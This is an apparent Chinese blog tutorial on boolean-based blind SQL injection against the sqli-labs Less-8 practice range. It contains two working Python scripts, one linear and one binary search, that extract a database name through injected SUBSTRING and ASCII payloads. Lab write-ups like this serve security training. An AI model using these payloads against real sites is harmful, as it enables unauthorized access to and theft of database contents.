sql注入之bool盲注

目录

盲注步骤

1、进入靶场

2、如下图所示输入?id=1‘ 判断此时存在注入点

3、判断列数

​编辑 4、开始盲注

普通的python脚本

代码思想

结果

二分查找python脚本

二分查找算法思想简介

二分查找与普通查找的主要差距

代码思想

代码

结果​编辑


下面以sql_labs靶场第八关来理解一下bool盲注

盲注步骤

1、进入靶场

2、如下图所示输入?id=1‘ 判断此时存在注入点

3、判断列数

列又3变为4时You are in.....消失,说明存在三列 

 4、开始盲注

然后我们可以开始进行注入,可以使用substr函数对数据库名进行猜测。对substr切割出来的字符进行一个ascli编码,然后和ascli编码比较,根据结果确定数据库的名称

如下图,当你测试到115时,图中会显示You are in...

然后可以调整sql语句,直到找到database()的名字,但是如果手动一个个的话要花费的时间太久了,所以我们编写一个python脚本来进行盲注

普通的python脚本

代码思想

创建一个字符集然后数据库的每个位置的字符和字符集中的字符进行比对,若两者相等则字符集中字符存入dataname中,最终显示dataname

代码

# 白大黑
# 开发时间:$[DATE] $[TIME]
import requests
def get_database(url):
    dataname = ''  # 初始化一个空字符串用于存储数据库名
    dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'  #数据库名可能存在这些字段中
    # 循环数据库名的位置
    for i in range(1, 20):
        for j in dict:
            #注入语句
            payload = "1' AND SUBSTRING((SELECT DATABASE()), %d, 1) = '%s'-- " % (i, j)
            # 发送请求
            res = requests.get(url, params={"id": payload})
            # 如果字符匹配上了,屏幕会输出You are in,所以可以用You are in来检测是否字符是否可以匹配
            if "You are in" in res.text:
                dataname += j
                print(dataname)
                break
            else:
                continue
    return dataname

# 此处填写自己靶场地址
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-8/'
db_name = get_database(url)
结果

二分查找python脚本

但时刚刚的脚本还不是很好,它的查找速率不是很快。所以我们可以对算法进行一下优化,将上面的代码中查找的算法替换成二分查找。

二分查找算法思想简介

二分法的思想很简单,因为整个数组是有序的,数组默认是递增的。

首先选择数组中间的数字和需要查找的目标值比较

如果相等最好,就可以直接返回答案了

如果不相等

如果中间的数字大于目标值,则中间数字向右的所有数字都大于目标值,全部排除

如果中间的数字小于目标值,则中间数字向左的所有数字都小于目标值,全部排除

二分查找与普通查找的主要差距

效率:二分查找的效率远高于普通查找。由于二分查找采用了分治策略,每次都将查找范围缩小一半,因此其时间复杂度为O(log n),而普通查找的时间复杂度为O(n)。

前提条件:二分查找要求数组必须是有序的,而普通查找则没有这一要求。因此,在使用二分查找之前,需要先对数组进行排序。

应用场景:由于二分查找效率高,因此适用于大规模数据的查找;而普通查找则更适用于小规模数据或对数据有序性没有要求的情况。

(正好我们的盲注过程符合二分查找的条件)

代码思想

将要查找的字段编码成ascii码,同ascii码进行比较,ascii相同,该ascii对应的字母就是数据库名称

同ascii进行比较的那一段换成二分法。

代码

 

# 白大黑
# 开发时间:$[DATE] $[TIME]
import requests
def half(url):
    name = ''
    for i in range(1, 20):
        #从空格开始 直到到~
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
            params = {"id":payload}
            r = requests.get(url, params=params)
            if 'You are in' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-8/'
half(url)

结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/616124.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Fcos源码训练编译问题

训练fcos代码时出现问题 ImportError: cannot import name ‘_C’ 原因是没有对代码进行编译 运行python setup.py develop --no-deps进行代码编译 编译过程中出现报错&#xff1a; fcos_core/csrc/cuda/ROIAlign_cuda.cu:5:10: fatal error: THC/THC.h: No such file or dire…

iphone进入恢复模式怎么退出?分享2种退出办法!

iPhone手机莫名其妙的进入到了恢复模式&#xff0c;或者是某些原因需要手机进入恢复模式&#xff0c;但是之后我们不知道如何退出恢复模式怎么办&#xff1f; 通常iPhone进入恢复模式的常见原因主要是软件问题、系统升级失败、误操作问题等导致。那iphone进入恢复模式怎么退出&…

Python-VBA函数之旅-staticmethod函数

目录 一、staticmethod函数的常见应用场景 二、staticmethod函数使用注意事项 三、如何用好staticmethod函数&#xff1f; 1、staticmethod函数&#xff1a; 1-1、Python&#xff1a; 1-2、VBA&#xff1a; 2、推荐阅读&#xff1a; 个人主页&#xff1a; https://blog…

【EMQX实践】如何感知设备上下线?

序言 在智能物联时代&#xff0c;存设备需要联网上云场景。EMQX在此场景中属于设备连接网关关键节点&#xff0c;EMQX不紧紧只是消息中间件的作用&#xff0c;我们更需要监控哪些设备什么时候连接上线&#xff0c;又在什么时候断开下线。 为什么需要感知设备上下线 感知设备…

二叉树介绍

引入 定义 区别 定义不同 形态不同 基本形态

vscode默认终端设置为cmd的方法

vscode默认终端是powershell,执行某些命令时会提示权限等问题&#xff0c;如果更习惯使用cmd终端的话&#xff0c;可以将默认终端配置为cmd。 方法一&#xff1a; 方法二&#xff1a; 如果你想更改默认的终端&#xff0c;可以通过以下步骤操作&#xff1a; 打开 VSCode。使用…

Applied Spatial Statistics(五)线性回归 I

Applied Spatial Statistics&#xff08;五&#xff09;线性回归 I 该笔记本演示了&#xff1a; 线性回归系数估计在假设下是无偏的如何围绕系数估计构建 bootstrap 置信区间残差图Q-Q图 1. 线性回归系数估计在假设下是无偏的 import numpy as np import matplotlib.pyplot…

大数据比赛-环境搭建(一)

1、安装VMware Workstation 链接&#xff1a;https://pan.baidu.com/s/1IvSFzpnQFl3svWyCGRtEmg 提取码&#xff1a;ukpo 内有安装包及破解方式&#xff0c;安装教程。 2、下载Ubuntu系统 阿里巴巴开源镜像站-OPSX镜像站-阿里云开发者社区 (aliyun.com) 点击下载&#xff…

掌握未来搜索的钥匙:深入解析 Milvus 向量搜索引擎的终极指南!

在大数据时代&#xff0c;向量搜索技术愈发重要。作为一个开源的向量相似性搜索引擎&#xff0c;Milvus 提供了基于向量的相似性搜索功能&#xff0c;广泛应用于机器学习、人工智能等领域。本文将深入介绍 Milvus 的基本概念&#xff0c;包括其介绍、主要作用、使用方法及注意事…

命令行工具部署达梦数据库 DMDPC(BP 多副本架构)

解达梦数据库DPC集群的主要使用场景&#xff1a; DMDPC 关注和解决的是大数据、计算与存储分离、高可用、支持全部的 SQL 标准、拥有完整的事务处理能力和集群规模能够动态伸缩的业务场景&#xff1a; 大量的复杂查询操作要求优化器能够生成优良的执行计划&#xff0c;并且执…

【北京迅为】《iTOP-3588从零搭建ubuntu环境手册》-第7章 安装VMwareTools

RK3588是一款低功耗、高性能的处理器&#xff0c;适用于基于arm的PC和Edge计算设备、个人移动互联网设备等数字多媒体应用&#xff0c;RK3588支持8K视频编解码&#xff0c;内置GPU可以完全兼容OpenGLES 1.1、2.0和3.2。RK3588引入了新一代完全基于硬件的最大4800万像素ISP&…

编程代码的舞者--Python循环语句

循环语句是编程中不可或缺的要素之一&#xff0c;它们能够让程序反复执行特定的任务&#xff0c;提高代码的重复利用性和效率。在本篇博客中&#xff0c;我们将深入探讨Python中常用的循环语句&#xff0c;包括for循环和while循环&#xff0c;以及控制循环流程的关键字break和c…

OBS插件--复合模糊

复合模糊 复合是一款滤镜插件&#xff0c;支持多种模糊类型和多种蒙版效果。支持模糊源的部分显示区域&#xff0c;可以反选区域进行模糊&#xff0c;这个功能对于场景部分区域需要遮盖非常实用。 下面截图演示下操作步骤&#xff1a; 首先&#xff0c;打开 OBS直播助手 在…

draw.io 网页版二次开发(3):打包和部署(war包)

目录 一 说明 二 环境配置 1. 下载并安装 Apache Ant 2. 下载并安装JDK和JRE 3. 下载tomcat 4. Ant、JDK和JRE 环境变量的配置 三 draw.io打包 四 部署 五 最后 一 说明 应公司项目要求&#xff0c;需要对draw.io进行二次开发&#xff0c;并将html界面通过iframe 嵌…

数据结构之——队列详解

目录 前言&#xff1a; 一、什么是队列 二、队列的实现 2.1 队列结构 2.2 队列初始化 2.3 队列销毁 2.4 入队列 2.5 出队列 2.6 获取队列头部元素 2.7 获取队列尾部元素 2.8 获取队列中有效元素个数 2.9 检测队列是否为空 三、 代码总览 Queue.h test.c 四、例题 前言…

SpringSecurity集成第三方登录

SpringSecurity 集成第三方登录 认证及自定义流程 首先我们提供一个实现了AbstractAuthenticationProcessingFilter抽象类的过滤器&#xff0c;用来代替UsernamePasswordAuthenticationFilter逻辑&#xff0c;然后提供一个AuthenticationProvider实现类代替AbstractUserDetail…

vue3vue3vue3vue3vue3vue3vue3vue3vue3vue3vue3vue3

纯vue3的语法 一.创建&#xff08;基于vite&#xff09; 1.在指定目录下运行 npm create vuelatest 项目名称&#xff1a;英文小写下划线数字回车表示确定是、否 左右切换路由、pina、单元测试、端到端的测试、开启eslint控制代码质量 先选择no&#xff0c;学的时候自己手动…

Golang | Leetcode Golang题解之第78题子集

题目&#xff1a; 题解&#xff1a; func subsets(nums []int) (ans [][]int) {set : []int{}var dfs func(int)dfs func(cur int) {if cur len(nums) {ans append(ans, append([]int(nil), set...))return}set append(set, nums[cur])dfs(cur 1)set set[:len(set)-1]df…

Reactor Netty 其他-响应式编程-018

&#x1f917; ApiHug {Postman|Swagger|Api...} 快↑ 准√ 省↓ GitHub - apihug/apihug.com: All abou the Apihug apihug.com: 有爱&#xff0c;有温度&#xff0c;有质量&#xff0c;有信任ApiHug - API design Copilot - IntelliJ IDEs Plugin | Marketplace The Nex…

triton编译学习

一 流程 Triton-MLIR: 从DSL到PTX - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/671434808Superjomns blog | OpenAI/Triton MLIR 迁移工作简介https://superjom